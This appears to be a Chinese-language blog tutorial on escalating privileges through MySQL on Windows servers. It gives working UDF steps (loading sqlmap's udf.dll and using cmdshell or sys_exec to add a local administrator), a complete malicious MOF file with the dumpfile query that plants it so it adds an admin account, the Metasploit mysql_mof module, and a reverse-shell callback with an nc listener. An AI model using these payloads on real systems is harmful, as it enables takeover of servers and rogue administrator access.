mysql两种提权方式
mysql两种提权方式
Mysql_UDF提权
提权要求
1.目标系统是Windows(Win2000,XP,Win2003);
2.如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
注:
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
3.如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
4.掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
5.拥有可以将udf.dll写入相应目录的权限。一般都是root
可以在mysql里输入
select @@basedir show variables like ‘%plugins%’
寻找mysql安装路径
提权方法
使用SQL语句创建功能函数
语法:
Create Function 函数名 ‘导出的DLL路径’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
udf.dll这个东西对于小白来说是不容易找到的(譬如我),后来才知道sqlmap里是有udf.dll文件的,就在sqlmap/udf/mysql/windows目录下,里面有32位和64位,注意:这里的位数是mysql的位数,并不是对方系统的位数。
如果你遇到了如图的错误:
那么一定要检查一下是不是位数搞错了,反正我是因为这个错误。
还有一个需要注意的是,sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中,
在sqlmap/extra/cloak目录下的cloak.py就是。
解密之后会在当前目录下生成dll文件。
将dll文件复制到mysql的/lib/plugin目录下,执行
结果报错了
那么这里需要注意的是,需要创建udf中存在的函数才可以,可以用十六进制编辑器打开udf.dll,看一下有哪些函数可以创建
大概就是这些了,我们可以使用sys_exec函数
成功,然后试验一下:
select sys_exec('calc');
弹出计算器
Mysql mof提权
提权要求
1.该漏洞的利用前提条件要先找到一个可写目录,然后上传mof文件
比如文章这里的 C:\RECYCLER
2.当前权限可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下
提权方法
一般方式
1.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2.通过Mysql查询将文件导入
执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下,在windows7中默认是拒绝访问的。
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
注:导入后系统会自动运行该文件,执行添加用户的命令。
3.查看执行结果
admin/admin 账号就已添加成功,可测试登录或者查询
4.权限提升
然后需要修改添加用户命令为将用户添加到管理员组
net.exe localgroup administrators admin/add
改一下mof文件中的命令,再次上传并查询一次,就成功了。
msf自带提权模块
use exploit/windows/mysql/mysql_mof
set 用户名 密码 ip (数据库允许所有主机登录才行)
Mysql反弹端口连接提权
假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
mysql.exe -h 172.16.10.11 -uroot -p
2 Enter password:
3 mysql> . c:\mysql.txt
4 mysql>select backshell(“YourIP”,2010);
2、本地监听你反弹的端口
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。
参考文章:
https://blog.csdn.net/github_34457546/article/details/53009884
上一篇: 堆栈